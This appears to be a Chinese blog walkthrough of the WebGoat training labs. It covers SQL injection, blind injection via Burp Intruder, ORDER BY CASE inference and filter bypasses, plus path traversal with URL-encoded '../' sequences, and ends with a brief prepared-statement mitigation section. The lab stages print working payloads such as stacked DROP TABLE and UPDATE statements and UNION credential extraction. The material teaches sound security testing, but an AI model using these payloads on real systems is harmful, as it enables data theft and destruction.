WebGoat之路-2-Injection
(A1)Injection
SQL Injection (intro)
这一节介绍一些基本的SQL语言和SQL注入的原理。SQL语法不会的可以去这里学习。这边比较基础的SQL语句就直接放出来了。
Stage 2
SELECT * FROM Employees WHERE first_name='Bob' AND last_name='Franco'
Stage 3
UPDATE employees SET Department='Sales' WHERE first_name='Tobi' AND last_name='Barnett'
Stage 4
ALTER TABLE employees add column phone varchar(20)
Stage 5
GRANT ALTER TABLE to UnauthorizedUser
Stage 9
最后拼接后是这样:
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
Stage 10
Stage 11
SQL语句加上了单引号,我们也只要合理的加上单引号凑出完整的语句就好了。
Employee Name随便写,TAN填入' or '1'='1
即可。
Stage 12
只要用分号再后面再加上一个UPDATE语句就行了,注意最后已经有单引号了(导致高量有些奇怪)。TAN里面写入以下内容。
3SL99A';UPDATE employees SET salary=0 where first_name='Tobi' or first_name='Bob
Stage 13
由于DROP语句后面没法把单引号凑成对,把后面注释掉就行了。
';DROP TABLE access_log;--
SQL Injection (advanced)
难度升级。。
Stage 3
用UNION命令拉取别的表的内容。
Name填入' or '1'='1' ;SELECT * FROM user_system_data --
最后连接的语句就是
SELECT * FROM user_data WHERE last_name = '' or '1'='1' ;SELECT * FROM user_system_data --'
或者用UNION,填入' union select 1,user_name,password, '4','5','6',7 from user_system_data --
,用'4','5','6',7
填补上对应的字段。
SELECT * FROM user_data WHERE last_name = '' union select 1,user_name,password, '4','5','6',7 from user_system_data --
Dave的密码只要在返回的数据里找一下就好了(在数据库里直接保存密码明文是非常不安全的)。
Stage 5
在尝试过后,发现登录页面好像没法注入。然后发现注册时,会先查询该用户有没有注册过,比如我先注册了一个名为123的用户,然后再次注册123时会报错,但是我填入123' and '1'='2
时就一直可以注册。于是基本就确定是利用注册页面的Username框了。
然后可以开始愉快的盲注了。
首先用户名填入
tom' or password='123
,发现没有返回服务器错误,那么就知道了密码所在的列名为password
用Burp Suite的Intruder将
username_reg
参数改为tom' and (length(password)=§10§) --
,Payload类型选择为数字从一开始,依次增加,直到返回注册失败,得出密码长度为23。再发送
tom' and (substr(password,§1§,1)='§2§') --
使用Cluster bomb
模式。注意,mysql字符串的下标是从1开始的,因此参数一的Payload类型为数字,从1到23。参数二为Brute forcer
类型,字符集就填上大小写字母、数字,最大和最小长度都设为1。同时把攻击频率调低一点,防止出现500错误。开始攻击。参数都跑完之后过滤出含有注册失败信息的,即含有
already exists please try to register with a different username
的。可以得到如图的结果:就这些字符按顺序连起来,就得到了最终的密码
thisisasecretfortomonly
。
盲注的返回值相当于只有True和False,因此要想办法让暴力破解不那么暴力。比如这题若是直接跑字典,可能一天也跑不完,但是利用sql的语法,可以一位一位的将密码试出来。
Stage 6
自己做吧。
SQL Injection (mitigation)
这一节介绍如何防止SQL注入。
Stage 5
最终代码如下:
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement ps = conn.prepareStatement("SELECT status FROM users WHERE name= ? AND mail= ?");
ps.setString(1,name);
ps.setString(2,mail);
Stage 6
不太懂它的意思,但随便写写就过了。
try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement ps = conn.prepareStatement("SELECT * FROM user_table WHERE username = ? ");
ps.setString(1, "pUsername");
ps.execute();
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}
Stage 9
题目的要求和SQL Injection (advanced)的Stage 3相同,但是这次不允许输入空格,也很好解决,将空格换成注释行内/**/
即可。
Smith';SELECT/**/*/**/FROM/**/user_system_data;--
Stage 10
要求和前一题相同,这次不仅不允许有空格,还会把SELECT
和FROM
删掉,我们只要留下一个SELECT
让他删,删掉后又组成一个SELECT
,比如这样SSELECTELECT
。
Smith';SSELECTELECT/**/*/**/FFROMROM/**/user_system_data;--
Stage 12
通过提示,提交按钮是不能SQL注入的(但是可以爆破啊!不过这样做这题就没有意义了)。然后发现点击表头上的小箭头会发送一个GET请求。那就可以注入了。
可以猜测是一个类似于SELECT * FROM xxxxx ORDER BY [参数]
的SQL语句。改一下参数看看会发生什么吧。
如图,直接返回了php的报错信息,仔细分析,发现了实际的SQL语句为select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by [参数]
同时得到了表名为servers
。
可以用when语句进行布尔盲注case when ([bool]) then id else ip end
这样如果bool为假就会按ip排序。
- 首先先判断ip的长度,替换上面的
bool
为SELECT length(ip)=15 FROM servers where hostname='webgoat-prd'
,结果是按id排序,因此ip的第一段必定大于等于一百。 - 然后可以二分查找,
SELECT cast(substr(ip,1,3) as int)>177 FROM servers where hostname='webgoat-prd'
为假,逐步缩小范围,最后可以得到ip第一段为104。 - 最终答案为
104.130.219.202
Path traversal
注入路径,使文件上传到特定位置
Stage 2
随便选一个文件,用户名填../test
。
Stage 3
这次会直接把../
字符串给替换成空,解决方法和和SQL注入时一样,写成..././test
Stage 4
这次Full name
字段没法注入了,但是可以抓到POST请求修改,如图
Stage 5
点击Show random cat picture
的按钮,抓包发现没有任何参数,但看到响应的Headers里面有一个Location参数却带了参数。
于是试着加上一个参数id=path-traversal-secret.jpg
结果400,看了hints,经过一番尝试后,终于用id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret
成功了。这里需要URL编码来绕过对../../
的检测。
返回提示说要提交你用户名的SHA-512值,很简单
echo -n [你的用户名]|sha512sum
不要忘了-n
参数!!!
总结
有用户输入的地方就很有可能有注入,无论是SQL、XSS,还是PWN,都是程序把用户输入当做命令来执行。所以在处理用户输入时要格外小心。而且输入参数检验尽量前后端都放,前端检验虽然防君子不防小人,但可以减少服务器的压力。